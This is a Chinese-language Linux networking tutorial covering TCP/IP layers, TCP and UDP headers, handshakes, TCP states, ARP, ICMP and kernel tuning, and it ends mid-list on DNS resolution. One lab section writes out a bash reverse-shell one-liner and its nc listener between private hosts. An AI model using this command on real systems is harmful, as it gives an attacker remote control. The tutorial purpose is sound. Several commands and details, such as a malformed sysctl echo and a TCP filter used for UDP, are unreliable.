(三)TCP/IP
文章目录
- TCP/IP标准
- TCP/IP介绍
- TCP/IP分层
- TCP/IP通信过程
- TCP/IP和OSI模型的比较
- 传输层
- TCP和UDP区别
- TCP协议
- TCP特性
- TCP包头结构
- TCP协议PORT
- 三次握手和四次挥手
- 抓包查看三次握手四次挥手
- TCP的十二种状态
- UDP协议
- UDP包头和数据包结构
- UDP协议PORT
- 网络层
- ARP协议
- 核心工作流程(IP-->MAC解析)
- ICMP协议
- 报文格式
- ICMP工作流程
- 常见网络协议
- 内核参数优化
- 故障案例-阿里云Linux远程连接或访问网站失败
- 用户访问网站流程
- IP地址
- IP地址组成
- IP地址分类
- 公共和私有IP地址
- 特殊地址
- 保留地址
- 子网掩码
TCP/IP标准
TCP/IP介绍
TCP/IP分层
共定义了四层,和 OSI参考模型的分层有对应关系
TCP/IP通信过程
TCP/IP和OSI模型的比较
相同点
-
两者都是以协议栈的概念为基础
-
协议栈中的协议彼此相互独立
-
下层对上层提供服务
不同点
-
OSI是先有模型;TCP/IP是先有协议,后有模型
-
OSI是国际标准,适用于各种协议栈;TCP/IP实际标准,只适用于TCP/IP网络
-
层次数量不同
传输层
TCP和UDP区别
4层协议 | 概述 |
---|---|
TCP | 传输控制协议:基于三次握手四次挥手,可靠连接 |
UDP | 用户数据报协议:不可靠连接 |
对比维度 | 传输控制协议(TCP) | 数据报协议(UDP) |
---|---|---|
连接类型 | 面向连接(3次握手4次挥手,建立,断开连接) | 无连接 |
传输可靠性 | 可靠连接 | 不可靠连接 |
协议 | TCP | UDP |
传输特点 | 流控 (检查数据是否丢失,丢失重新发送) | 尽力而为,尽力传递 |
应用场景 | WEB浏览器、电子邮件、文件传输程序 | 域名信息(DNS)、视频流、IP语音 |
TCP协议
TCP特性
工作在传输层
面向连接协议
全双工协议
半关闭
错误检查
将数据打包成段,排序
确认机制
数据恢复,重传
流量控制,滑动窗口
拥塞控制,慢启动和拥塞避免算法
TCP包头结构
源端口、目标端口
进程间通信需通过计算机端口,且一个端口某时刻仅能被一个进程占用;通过指定源端口与目标端口,可确定需通信的两个进程;源 / 目标端口用 16 位表示,因此计算机端口总数为 2¹⁶=65536 个
序列号(seq号码)
TCP 序列号用于标识本报文段所发数据的第一个字节编号,且 TCP 连接中传输的字节流会为每个字节按序编号;因序列号用 32 位表示,故每传输 2³² 个字节后,序列号会回绕并重新从 0 开始。
确认号(ack确认号)
TCP 确认号是接收方告知发送方的关键信息,核心是表明 “期望收到发送方下一个报文段中数据的第一个字节编号”,即明确告知发送方下次应从该编号开始发送数据
数据偏移
TCP 数据偏移即 TCP 报文段的首部长度,用 4 位表示;因 TCP 首部含可变选项需明确长度,它还指明报文段数据起始处与报文段起始处的距离,单位为 32 位(4 字节);4 位二进制最大为 15,故 TCP 首部最大长度为 60 字节。
UGR、ACK、PSH、RST、SYN、FIN
- URG:标识报文段是否含紧急数据,仅 URG=1 时,后续紧急指针字段有效;
- ACK:表示确认号是否有效(ACK=1 时确认号才生效),TCP 连接建立后需恒为 1,带此标志的是确认报文段;
- PSH:提示接收端立即将 TCP 接收缓冲区的数据提交上层应用(而非缓存),避免数据滞留;
- RST:表示连接出现严重错误(如主机崩溃、数据异常),需释放连接并重建,带此标志的是复位报文段;
- SYN:用于建立连接时同步序号(SYN=1,ACK=0 为连接请求,SYN=1,ACK=1 为同意连接),仅前两次握手置 1,带此标志的是同步报文段;
- FIN:通知对方本端数据已发完、需关闭连接,带此标志的是结束报文段
窗口大小
TCP 窗口大小的核心是告知对方当前允许发送的数据量:明确从本报文段的确认号开始,对方可发送的数据需控制在该范围内,达到此值后需等待 ACK 确认才能继续发送;其实际值由 “窗口大小基础值” 乘以 “三次握手阶段协商的窗口扩大因子” 计算得出
校验和
提供额外的可靠性
紧急指针
标记紧急数据在数据字段中的位置
选项部分
其最大长度可根据TCP首部长度进行推算。TCP首部长度用4位表示,选项部分最长为:(2^4-1)*4-20=40字节
TCP 包头常见选项
- 最大报文段长度(MSS):通常为 1460 字节,用于指明期望对方发送 TCP 报文段时的数据字段长度(TCP 报文段总长 = 数据字段长度 + TCP 首部长度);仅出现在 SYN=1 的报文段中,需结合 MTU 计算(MTU=MSS+IP 头 + TCP 头,双方最终 MSS 取较小 MTU 减去 IP 头和 TCP 头长度),MSS 过大易导致 IP 分片、过小则降低网络利用率。
- 窗口扩大(Window Scale):因 TCP 窗口大小字段仅 16 位(最大 65535),无法满足大时延带宽场景(如卫星通信)的吞吐需求,故通过三次握手协商 “窗口扩大因子”,实现窗口大小扩容。
- 时间戳(Timestamps):一是用于计算 RTT(发送方发报文时带入时间戳,接收方确认时带回,发送方据此算往返时间);二是防止序列号回绕(通过时间戳区分相同序列号的不同报文)
TCP协议PORT
应用层协议 | 传输层协议 | 端口号 |
---|---|---|
FTP | TCP | 21 |
Telnet | TCP | 23 |
HTTP | TCP | 80 |
DNS | UDP | 53 |
TFTP | UDP | 69 |
SNMP | UDP | 161 |
传输层通过port号,确定应用层协议,范围0-65535
-
0-1023:系统端口或特权端口(仅管理员可用) ,众所周知,永久的分配给固定的系统应用使用,22/tcp(ssh), 80/tcp(http), 443/tcp(https)
-
1024-49151:用户端口或注册端口,但要求并不严格,分配给程序注册为某应用使用,1433/tcp(SqlServer), 1521/tcp(oracle),3306/tcp(mysql),11211/tcp/udp (memcached)
-
49152-65535:动态或私有端口,客户端随机使用端口,范围定义:/proc/sys/net/ipv4/ip_local_port_range
例:调整客户端的动态端口范围
[root@kylinv10sp3-csq ~]# cat /proc/sys/net/ipv4/ip_local_port_range
32768 60999
[root@kylinv10sp3-csq ~]# echo 20000 62000 > /proc/sys/net/ipv4/ip_local_port_range
[root@kylinv10sp3-csq ~]# cat /proc/sys/net/ipv4/ip_local_port_range
20000 62000
TCP通信测试:单连接与客户端交互
#安装nc监听/传输数据/连接
[root@kylinv10sp3-csq ~]# yum install -y nc
#先查看当前端口状态
[root@kylinv10sp3-csq ~]# ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.1:323 0.0.0.0:* users:(("chronyd",pid=761,fd=5))
udp UNCONN 0 0 [::1]:323 [::]:* users:(("chronyd",pid=761,fd=6))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=832,fd=3))
tcp LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=832,fd=4))
#尝试监听22端口(失败:端口已被sshd占用)
[root@kylinv10sp3-csq ~]# nc -l 22
Ncat: bind to :::22: Address already in use. QUITTING.
#关闭(或放行9527)客户端和服务端的防火墙
#改用为占用的9527端口监听(成功),并与客户端互发消息
[root@kylinv10sp3-csq ~]# nc -l 9527
I am kylinv10sp3 #服务端发送消息
I am Rocky9.3 #客户端端发送给客户端的消息[root@rocky-9 ~]# nc 10.0.0.80 9527
I am kylinv10sp3 #服务端发送消息
I am Rocky9.3 #客户端端发送给客户端的消息#查看已建立的TCP连接
[root@kylinv10sp3-csq ~]# ss -ant
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
ESTAB 0 0 10.0.0.80:9527 10.0.0.90:60246
# 说明:10.0.0.90(客户端)的“60246”是随机分配的动态端口(1024+),9527是服务器固定端口
抓包看整个过程的数据包
#wireshark过滤 tcp.port == 9527
普通用户无法用知名端口
[csq@kylinv10sp3-csq ~]$ nc -l 1023
Ncat: bind to :::1023: Permission denied. QUITTING.
端口冲突排查
(找到占用端口的进程)
#方法1:用ss查看端口占用的进程
[root@kylinv10sp3-csq ~]# ss -tlnp | grep 22
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=832,fd=3))
LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=832,fd=4))
#方法2:用lsof查看端口关联的进程
[root@kylinv10sp3-csq ~]# lsof -i :22
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 832 root 3u IPv4 25960 0t0 TCP *:ssh (LISTEN)
sshd 832 root 4u IPv6 25962 0t0 TCP *:ssh (LISTEN)
sshd 22270 root 4u IPv4 177353 0t0 TCP kylinv10sp3-csq:ssh->10.0.0.1:50396 (ESTABLISHED)
sshd 22280 root 4u IPv4 177353 0t0 TCP kylinv10sp3-csq:ssh->10.0.0.1:50396 (ESTABLISHED)
bash 伪设备 /dev/tcp:测试端口与发送请求
测试端口连通性(替代nc的简单方式)
[root@kylinv10sp3-csq ~]# < /dev/tcp/127.0.0.1/80
[root@kylinv10sp3-csq ~]# echo $? #0表示连接成功
0
#测试8080端口(未开放)
[root@kylinv10sp3-csq ~]# < /dev/tcp/127.0.0.1/8080
-bash: connect: 拒绝连接
-bash: /dev/tcp/127.0.0.1/8080: 拒绝连接
[root@kylinv10sp3-csq ~]# echo $?
1
用文件描述符实现持久 HTTP 请求
#创建一个socket文件描述符(fd 8),连接百度80端口(<>表示“读写”模式,持久连接)
[root@kylinv10sp3-csq ~]# exec 8<>/dev/tcp/www.baidu.com/80#查看进程的文件描述符(fd 8对应socket连接)
[root@kylinv10sp3-csq ~]# ll /proc/$$/fd
总用量 0
lrwx------ 1 root root 64 10月 14 07:18 0 -> /dev/pts/0
lrwx------ 1 root root 64 10月 14 07:18 1 -> /dev/pts/0
lrwx------ 1 root root 64 10月 14 07:18 2 -> /dev/pts/0
lrwx------ 1 root root 64 10月 14 07:18 255 -> /dev/pts/0
lrwx------ 1 root root 64 10月 14 07:18 8 -> 'socket:[180842]'
[root@kylinv10sp3-csq ~]# echo -e "GET / HTTP/1.1\nHost: www.baidu.com\n" >& 8
[root@kylinv10sp3-csq ~]# cat <& 8
反弹shell:实现远程控制
反弹 Shell(Reverse Shell):被控制机主动连接控制机,而非控制机主动连被控制机(可绕过防火墙对 “入站连接” 的限制)。核心是把被控制机的 “交互式 Shell(bash -i)” 的输入 / 输出重定向到控制机的 socket。
#1.控制机(kylinv10sp3): 开启监听端口
#-l监听 -v详细输出,-p=指定端口
[root@kylinv10sp3-csq ~]# nc -lvp 6666
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6666 #监听IPV6
Ncat: Listening on 0.0.0.0:6666 #监听IPV4(等待被控制机连接)#2.被控制机(Rocky9.3):执行反弹命令
[root@rocky-9 ~]# bash -i > /dev/tcp/10.0.0.80/6666 2>&1 0>&1#3.控制机:获得交互式shell
[root@kylinv10sp3-csq ~]# nc -lvp 6666
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 10.0.0.90.
Ncat: Connection from 10.0.0.90:46154.
[root@rocky-9 ~]# hostname -I
10.0.0.90
TCP端口号通信过程
TCP序列和确认号
TCP确认和固定窗口
TCP滑动窗口
三次握手和四次挥手
三次握手
初始状态
- 客户(A):处于
CLOSED
(关闭)状态,主动发起连接(“主动打开”)。 - 服务器(B):处于
CLOSED
(关闭)状态,被动等待连接(“被动打开”)。
第一次握手客户→服务器
- 客户 A 发送SYN 报文段:
- 标志位:
SYN=1
(表示 “同步序列号,请求建立连接”)。 - 序列号:
seq = x
(客户 A 的初始序列号,用于后续数据同步)。
- 标志位:
- 状态变化:客户 A 从
CLOSED
变为SYN-SENT
(“同步已发送”,等待服务器回应)。
第二次握手服务器→客户
- 服务器 B 收到 SYN 报文后,回复SYN+ACK 报文段:
- 标志位:
SYN=1
(回应同步请求)、ACK=1
(表示 “确认”)。 - 确认号:
ack = x+1
(表示 “已收到客户 A 的 seq=x,期望下一个序列号是 x+1”)。 - 序列号:
seq = y
(服务器 B 的初始序列号)。
- 标志位:
- 状态变化:服务器 B 从
CLOSED
先变为LISTEN
(“收听”,等待连接),再变为SYN-RCVD
(“同步收到”,等待客户最终确认)。
第三次握手客户→服务器
- 客户 A 收到 SYN+ACK 报文后,发送ACK 报文段:
- 标志位:
ACK=1
(表示 “确认”)。 - 确认号:
ack = y+1
(表示 “已收到服务器 B 的 seq=y,期望下一个序列号是 y+1”)。 - 序列号:
seq = x+1
(基于第一次握手的 seq=x,递增表示后续数据)。
- 标志位:
- 状态变化:客户 A 从
SYN-SENT
变为ESTABLISHED
(“已建立连接”);服务器 B 收到 ACK 后,也变为ESTABLISHED
。
最终结果
双方都进入 ESTABLISHED
状态,TCP 连接正式建立,之后可开始双向的数据传输。
四次挥手
文字描述4次挥手流程:
初始状态
双方处于 ESTABLISHED
(已建立连接)状态,正常进行数据传输。
第一次挥手客户 A → 服务器 B
客户 A(主动关闭方)发送FIN 报文段:
-
标志位:
FIN=1
(表示 “无数据可发,请求关闭连接”)。 -
序列号:
seq = u
。 -
状态变化:客户 A 从
ESTABLISHED
进入FIN-WAIT-1
(终止等待 1)状态。
第二次挥手服务器 B → 客户 A
- 服务器 B 收到 FIN 后,发送ACK 报文段:
- 标志位:
ACK=1
(表示 “确认收到关闭请求”)。 - 确认号:
ack = u+1
(表示 “期望下一个序列号是 u+1”)。 - 序列号:
seq = v
。
- 标志位:
- 状态变化:服务器 B 进入
CLOSE-WAIT
(关闭等待)状态(此时 B 需 “通知应用进程准备关闭”,可能仍有数据未发完,故先回 ACK);客户 A 收到 ACK 后,进入FIN-WAIT-2
(终止等待 2)状态。
第三次挥手服务器 B → 客户 A
- 服务器 B 的应用进程处理完数据后,发送FIN+ACK 报文段:
- 标志位:
FIN=1
(表示 “B 也无数据可发,请求关闭连接”)、ACK=1
(确认机制)。 - 序列号:
seq = w
。 - 确认号:
ack = u+1
。
- 标志位:
- 状态变化:服务器 B 进入
LAST-ACK
(最后确认)状态(等待 A 的最终确认)。
第四次挥手客户 A → 服务器 B
- 客户 A 收到 FIN 后,发送ACK 报文段:
- 标志位:
ACK=1
(表示 “确认收到 B 的关闭请求”)。 - 确认号:
ack = w+1
(期望下一个序列号是 w+1)。 - 序列号:
seq = u+1
。
- 标志位:
- 状态变化:客户 A 进入
TIME-WAIT
(时间等待)状态(需等待2MSL
,确保 B 能收到此 ACK,避免 B 因超时重发 FIN);服务器 B 收到 ACK 后,直接进入CLOSED
状态。 - 最终:客户 A 等待
2*MSL
(报文最大生存时间)后,也进入CLOSED
状态,连接完全关闭。
抓包查看三次握手四次挥手
三次握手抓包
- 访问http协议80
wireshark过滤 80端口的数据包 tcp.port == 80curl http://www.baidu.com
在三次TCP以后出现了http的请求,这三次就是TCP的三次握手过程
点击第一次连接的列表展示详情,第一次连接是客户端主动要连接服务端的,可以看到传输控制协议里Seq=0(Seq是序列号),代表初次连接,Ack=0(确认码),初次连接为0
除了要给上面所说的信息以外,还要给标志位,就是flags=初次连接需要给SYN=1的标志位表示请求建立连接
点击第二次连接,详情如下
第二次握手是服务端的回馈 80端口给44294的端口数据,初次连接所以seq=0,ack=上一次客户端的序列号+1
标志位是SYN=1和ACK=1,代表是一个确认的回馈连接
第三次握手详情点击,是客户端44294给80服务端的反馈,Seq=1,因为这是客户端的第二次交互了,Ack=上一次服务端连接的序列号+1
标志位为:ACK,表示确认收到了连接回复,三次握手就建立连接完毕
第4个包是建立http请求,开始传输数据。
四次挥手
发送完毕开始4次挥手操作,客户端想要跟服务端断开连接,数据传输完了,所以发送了标志位FIN,ACK代表要断开连接了我这边不传输数据了Seq是之前的传输数据的长度演变过来的,Ack也是上一些数据传输得到的确认码
服务端收到客户端的确认,Seq是上一次客户端的序列号,因为不传输数据所以不加1,Ack则是服务端的Seq数据+1
若服务端发送的FIN, ACK带有 PSH 标志,说明此时服务端在确认对端数据(ACK)、发起自身发送通道关闭(FIN)的同时,还有剩余数据需立即推送至对端应用层(PSH);序号(Seq)需包含这些数据的字节数 + 1(FIN 本身占用一个序号),确认号(Ack)在对端无新数据时与上次一致
收到服务端的回复,发送ACK标志位表示回复,Seq=上一次客户端给服务端序号码+1,Ack=服务端的序列号+1;代表我收到了你的结束请求,完整的关闭,服务端关闭并也告知客户端,客户端关闭也告知了服务端了
TCP的十二种状态
状态名称 | 触发条件(如何进入该状态) | 状态作用(该状态下的核心行为) | 转换场景(如何离开该状态) | 常见出现情况 |
---|---|---|---|---|
CLOSED | 初始状态,连接未建立或已完全关闭 | 无连接相关活动,资源已释放 | 客户端主动发起连接(发送 SYN)→ 进入 SYN-SENT;服务器启动监听→ 进入 LISTEN | 系统启动后、连接彻底关闭后默认状态 |
LISTEN | 服务器调用listen() 函数,准备接受连接 | 持续监听来自客户端的 SYN(连接请求),不主动发送数据 | 收到客户端 SYN → 发送 SYN+ACK,进入 SYN-RECEIVED;关闭监听→ 回到 CLOSED | 服务器端口(如 80、443)等待连接时的状态,可通过netstat -l 查看 |
SYN-SENT | 客户端调用connect() ,发送 SYN(第一次握手)后 | 等待服务器对 SYN 的确认(SYN+ACK,第二次握手) | 收到 SYN+ACK → 发送 ACK(第三次握手),进入 ESTABLISHED;超时未收到→ 回到 CLOSED | 客户端发起连接但未完成三次握手时(如网络延迟、服务器未响应) |
SYN-RECEIVED | 服务器收到客户端 SYN,发送 SYN+ACK(第二次握手)后 | 等待客户端对 SYN+ACK 的确认(ACK,第三次握手) | 收到 ACK → 进入 ESTABLISHED;收到客户端 RST(重置)→ 回到 CLOSED | 服务器已响应连接请求,但客户端尚未完成最后确认(三次握手的中间状态) |
ESTABLISHED | 三次握手完成(客户端发送 ACK 后,服务器收到 ACK) | 连接已建立,双方可双向传输数据(应用层数据通过 TCP 报文交互) | 主动关闭方发送 FIN → 进入 FIN-WAIT-1;收到对方 FIN → 进入 CLOSE-WAIT | 正常数据传输时的状态(如浏览器与服务器连接、SSH 会话中) |
FIN-WAIT-1 | 主动关闭方(如客户端)发送 FIN(关闭请求,第一次挥手)后 | 等待对方对 FIN 的确认(ACK,第二次挥手) | 收到 ACK → 进入 FIN-WAIT-2;收到对方 FIN(双方同时关闭)→ 发送 ACK,进入 CLOSING | 主动发起关闭但未收到对方确认时(如客户端主动断开连接的初始阶段) |
FIN-WAIT-2 | 主动关闭方收到对方对 FIN 的 ACK(第二次挥手)后 | 等待对方发送 FIN(关闭请求,第三次挥手) | 收到对方 FIN → 发送 ACK(第四次挥手),进入 TIME-WAIT;超时未收到 FIN→ 可直接关闭 | 主动关闭方已确认 “对方收到关闭请求”,但仍在等待对方关闭连接(单向关闭已完成) |
TIME-WAIT | 主动关闭方发送最后一个 ACK(第四次挥手)后 | 等待 2MSL(报文最大生存时间),确保对方收到 FIN 的 ACK,避免旧报文干扰新连接 | 2MSL 超时 → 回到 CLOSED | 连接彻底关闭前的 “等待期”(如客户端断开连接后,通常持续 1-4 分钟,netstat 中常见TIME_WAIT ) |
CLOSE-WAIT | 被动关闭方(如服务器)收到对方 FIN(第一次挥手),发送 ACK(第二次挥手)后 | 等待应用层决定是否关闭连接(此时被动方仍可发送数据) | 应用层触发关闭 → 发送 FIN(第三次挥手),进入 LAST-ACK | 被动关闭方已收到关闭请求,但应用层尚未准备好关闭(如服务器处理完剩余数据前) |
LAST-ACK | 被动关闭方发送 FIN(第三次挥手)后 | 等待对方对 FIN 的 ACK(第四次挥手) | 收到 ACK → 回到 CLOSED;超时未收到→ 重发 FIN | 被动关闭方已发起关闭,等待最后确认(如服务器已发送关闭请求,等待客户端确认) |
CLOSING | 双方同时发送 FIN(主动关闭方发送 FIN 后,未收到 ACK 却先收到对方 FIN) | 等待对方对自己 FIN 的 ACK(此时双方均在关闭) | 收到对方 ACK → 进入 TIME-WAIT | 罕见场景:双方同时发起关闭(如客户端和服务器同时执行断开操作) |
UDP协议
工作在传输层
提供不可靠的网络访问
非面向连接协议
有限的错误检查
传输性能高
无数据恢复特性
UDP包头和数据包结构
UDP数据包结构
wireshark抓包
udp.port == 53
UDP协议PORT
UDP通信测试:无连接模式的通信
#服务端开启UDP监听
#-u指定UDP协议,默认是TCP,监听端口7000
[root@kylinv10sp3-csq ~]# nc -lu 7000
I an kylinv10sp3
#服务端断开连接ctrl + c#客户端发起UDP连接
#客户端用UDP连接服务器7000端口
[root@rocky-9 ~]# nc -u 10.0.0.80 7000<==回车
I an kylinv10sp3 #服务端发送的信息
#服务端断开连接后再次回车Ncat: Connection refused.#查看UDP连接状态
#UDP“伪连接”
[root@kylinv10sp3-csq ~]# ss -ntu
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp ESTAB 0 0 10.0.0.80:7000 10.0.0.90:39872
#UDP 无连接特性:UDP 本身没有 “建立连接” 的过程,但ss会显示 “ESTAB” 状态
#(本质是 “已通信的伪连接”,记录双方 IP / 端口)
抓包查看整个过程的数据包
#wireshark过滤 tcp.port == 7000
网络层
网络层是 “跨网络通信” 的核心层,IP 负责数据路由,而 ICMP、ARP 等协议则为 IP 提供控制、地址解析等辅助能力,确保 IP 数据能可靠、正确地在网络中传输
ARP协议
ARP(地址解析协议)是 TCP/IP 协议簇中用于根据目标 IP 地址获取其物理地址(MAC 地址) 的核心协议
- DNS协议:域名–>IP
- ARP协议:IP–>MAC地址
由互联网工程任务组(IETF)制定,1982 年 11 月通过 RFC 826 文档标准化,是局域网内 IP 通信的基础支撑协议。
核心工作流程(IP–>MAC解析)
例如:10.0.0.80(请求方)–>10.0.0.2(目标)MAC?
- 查询本地ARP缓存:源主机先检查自身ARP缓存表,若存在目的主机的IP-MAC映射,直接使用该MAC地址封装数据
- 广播:发出arp请求,发送广播找人,谁知道10.0.0.2的mac地址,请告诉10.0.0.80
- 单播:所有局域网的设备都收到广播,只要10.0.0.2这个机器进行响应(回复):我是10.0.0.2我的mac地址是xx:xx:xx:xx:xx
- 缓存MAC地址
抓包查看过程
#10.0.0.80(都在这台机器操作)
#查看当前系统arp缓存表
arp -n
ping -c1 10.0.0.2#如果有10.0.0.2的记录先删除记录
#删除
arp -d 10.0.0.2
ICMP协议
用于在 IP 主机、路由器之间传递控制消息与错误报告,保障网络通信的可靠性与可诊断性
ping使用的就是icmp协议
报文格式
ICMP 报文嵌在 IP 数据报内部,结构为:IP 头部 + ICMP 头部 + ICMP 数据
。
- ICMP 头部关键字段:
类型(Type)
:标识报文的作用(如 “回显请求”“目标不可达” 等,共十几种类型)。代码(Code)
:对 “类型” 的细分说明(如 “Type=3(目标不可达)” 下,Code=0 表示 “网络不可达”,Code=3 表示 “端口不可达”)
常见ICMP报文类型与场景
类型(Type) | 代码(Code) | 报文含义 | 典型场景 |
---|---|---|---|
0 | 0 | 回显应答(Echo Reply) | ping 应答:目标主机回应请求 |
8 | 0 | 回显请求(Echo Request) | ping 请求:探测主机是否可达 |
3 | 0~15 | 目标不可达 | 如 “网络不可达”“端口不可达” 等 |
11 | 0~1 | 超时报文 | TTL 耗尽(tracert 依赖此)、分片重组超时 |
4 | 0 | 源抑制(Source Quench) | 通知源主机减少流量(简单流控) |
13 | 0 | 时间戳请求 | 测试数据包往返时间 |
14 | 0 | 时间戳应答 | 响应时间戳请求 |
ICMP工作流程
利用icmp协议判断网络状态
[root@kylinv10sp3-csq ~]# ping -c1 10.0.0.2
抓包查看
常见网络协议
协议 | 名字 | 特点 |
---|---|---|
ARP | 地址解析协议 | 实现IP 地址→MAC 地址的转换(局域网内通信依赖 MAC 地址,ARP 用于获取目标 IP 对应的硬件地址)。 |
ICMP | 因特网控制报文协议 | 是ping 命令的底层支撑协议(用于测试网络连通性、传递网络错误 / 控制信息)。 |
DNS | 域名解析系统 / 服务 | 实现域名→IP 地址的转换(比如把www.baidu.com 解析为具体的 IP,让计算机能找到目标服务器)。 |
DHCP 原理 | 自动分配 IP 地址 | 动态主机配置协议,能自动为网络设备分配 IP 地址、子网掩码、网关等参数(无需手动配置,简化网络管理)。 |
HTTP/HTTPS | 超文本传输协议 / 加密版 | 是网页服务的核心协议: HTTP 用于基础网页传输 HTTPS 是加密的安全版本,保障网页数据传输的安全性(常用于网站访问场景) |
内核参数优化
参考帮助:man 7 tcp
#常用内核调优参数
net.ipv4.icmp_echo_ignore_all = 1
net.ipv4.tcp_fin_timeout = 2
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_keepalive_time = 600
net.ipv4.ip_local_port_range = 2000 65000
net.ipv4.tcp_max_syn_backlog = 16384
net.ipv4.tcp_max_tw_buckets = 36000
net.ipv4.route.gc_timeout = 100
net.ipv4.tcp_syn_retries = 1
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_max_orphans = 16384
net.core.somaxconn = 16384
net.core.netdev_max_backlog = 16384#临时生效,重启系统失效
echo 1 /proc/sys/net/ipv4/net.ipv4.icmp_echo_ignore_all
#或者
sysctl -w net.ipv4.icmp_echo_ignore_all=1#永久生效
echo 'net.ipv4.icmp_echo_ignore_all = 1' >> /etc/sysctl.conf
sysctl -p #生效
网络安全防护配置
核心目标:减少外部探测,抵御基础网络攻击
-
net.ipv4.icmp_echo_ignore_all = 1
禁止系统响应所有 ICMP Echo 请求(即外部无法通过ping探测主机存活),降低被扫描工具定位的风险,增强隐蔽性。
-
net.ipv4.tcp_syncookies = 1
开启 SYN Cookie 机制,当半连接队列(SYN 队列)溢出时,通过 Cookie 验证客户端合法性,防范少量 SYN 洪水攻击,避免连接队列被恶意占满。
TCP连接回收优化(减少资源占用)
核心目标:快速释放关闭状态的连接,避免 TIME-WAIT/FIN-WAIT-2 状态堆积
-
net.ipv4.tcp_fin_timeout = 2
本端主动关闭连接后,套接字在FIN-WAIT-2状态的停留时间从默认 60 秒缩短至 2 秒,快速释放端口与内存资源。
-
net.ipv4.tcp_tw_reuse = 1
允许将TIME-WAIT状态的套接字重新用于新 TCP 连接(默认关闭),减少 TIME-WAIT 数量,提升端口复用效率。
-
net.ipv4.tcp_tw_recycle = 1
开启 TIME-WAIT套接字的快速回收(默认关闭),与tw_reuse 配合,进一步降低 TIME-WAIT 堆积风险(注:NAT 环境下慎用,可能导致连接异常)。
-
net.ipv4.tcp_max_tw_buckets = 36000
限制系统同时存在的 TIME-WAIT 套接字最大数量为 36000(默认 180000),超过则自动清除并告警,避免 TIME-WAIT 耗尽端口资源
TCP并发连接能力优化
核心目标:提升服务器处理高并发连接的能力,减少连接超时 / 队列溢出
-
net.ipv4.tcp_max_syn_backlog = 16384
半连接队列(SYN 队列)长度从默认 1024 调至 16384,可容纳更多未完成三次握手的连接请求,应对突发高并发(如秒杀、流量峰值)。
-
net.core.somaxconn = 16384
全连接队列(已完成三次握手)长度从默认 128 调至 16384,避免因队列满导致已建立的连接被丢弃,减少 “连接超时” 报错。
-
net.core.netdev_max_backlog = 16384
网络接口接收数据包的队列上限从默认 1000 调至 16384,当数据包接收速率超过内核处理速率时,避免数据包丢失,提升网络吞吐稳定性。
-
net.ipv4.ip_local_port_range = 2000 65000
系统对外发起连接的端口范围从默认 32768-61000 扩大至 2000-65000,增加可用端口数量,避免高并发下 “端口耗尽” 问题(如反向代理、客户端请求场景)。
TCP连接稳定性与重试控制
核心目标:减少无效重试,及时释放死连接,降低资源浪费
-
net.ipv4.tcp_keepalive_time = 600
TCP 保活心跳包发送间隔从默认 2 小时(7200 秒)缩短至 10 分钟(600 秒),快速检测 “死连接”(如客户端异常断开),及时释放连接资源。
-
net.ipv4.tcp_syn_retries = 1
客户端发起连接时,SYN 包的最大重传次数从默认 6 次减至 1 次,减少无效连接的重试耗时,快速失败并释放资源。
-
net.ipv4.tcp_synack_retries = 1
服务端回应SYN+ACK包的最大重传次数从默认 5 次减至 1 次,避免因客户端异常导致服务端长期等待,加速半连接回收。
-
net.ipv4.tcp_max_orphans = 16384
无关联用户句柄的 “孤立 TCP 套接字” 最大数量从默认 8192 调至 16384,防止 DoS 攻击导致孤立连接耗尽资源,同时适配高并发场景需求。
路由缓存优化
-
net.ipv4.route.gc_timeout = 100
路由缓存的垃圾回收(GC)超时时间设为 100 秒(默认更长),加快无效路由的回收,减少路由表冗余,提升路由查找效率。
故障案例-阿里云Linux远程连接或访问网站失败
在阿里云环境中,远程连接(如 SSH、RDP)或网站访问失败是常见故障,需按 “网络连通性→服务可用性→安全控制→数据包交互” 的逻辑逐步排查
基础网络连通性检查:ping 测试
#ping 阿里云ECS的公网IP
ping -c1 120.78.xx.xx
# 若访问的是域名(如www.example.com),同时测试域名解析
ping www.example.com
服务端口可达性检查:telnet 测试
# 远程连接(SSH):测试22端口
telnet 120.78.xx.xx 22# 网站访问:测试80(HTTP)或443(HTTPS)端口
telnet 120.78.xx.xx 80
安全控制检查:防火墙与访问策略
- 阿里云安全组(最外层)
安全组是阿里云的虚拟防火墙,默认拒绝所有入站流量,需手动配置允许规则。
- 检查路径:ECS 实例详情页→“安全组”→“配置规则”→“入方向”。
- 关键检查点:
- 规则是否包含目标端口(如 22、80);
- 源 IP 是否正确(客户端公网 IP,或临时用 0.0.0.0/0 测试,排查后收紧);
- 协议是否匹配(TCP/UDP,如 SSH 用 TCP)。
- 内部防火墙
iptables
或 firewalld
可能拦截端口
抓包分析:定位数据包交互异常
若前序检查未发现问题,需通过抓包确认 “数据包是否到达实例” 及 “实例是否回应”,定位拦截点。
# 安装tcpdump(若未安装)
yum install -y tcpdump
# 抓取22端口(SSH)的流量,显示详细信息(包括源IP、目标IP、包类型)
tcpdump -vvv port 22 -w ssh.pcap
#下载到windows使用wireshark查看
sz ssh.pcap
#过滤规则
ip.addr == 120.78.xx.xx && ssh#路由器抓包
用户访问网站流程
DNS域名解析流程(将域名转换为IP地址)
用户输入网站域名后,需通过DNS(域名系统)把 “易记的域名” 转化为 “服务器的 IP 地址”(网络通信依赖 IP,而非域名),流程如下:
-
用户设备向本地 DNS 服务器发起域名解析请求。
-
若本地 DNS 无缓存,会
逐级向上查询:
- 先请求根域名解析服务器(全球域名系统的 “总入口”);
- 根服务器指引至顶级域服务器(如
.cn
/.com
等顶级域名对应的服务器); - 顶级域服务器再指引至二级域 DNS 服务器(目标网站所属的二级域名服务器);
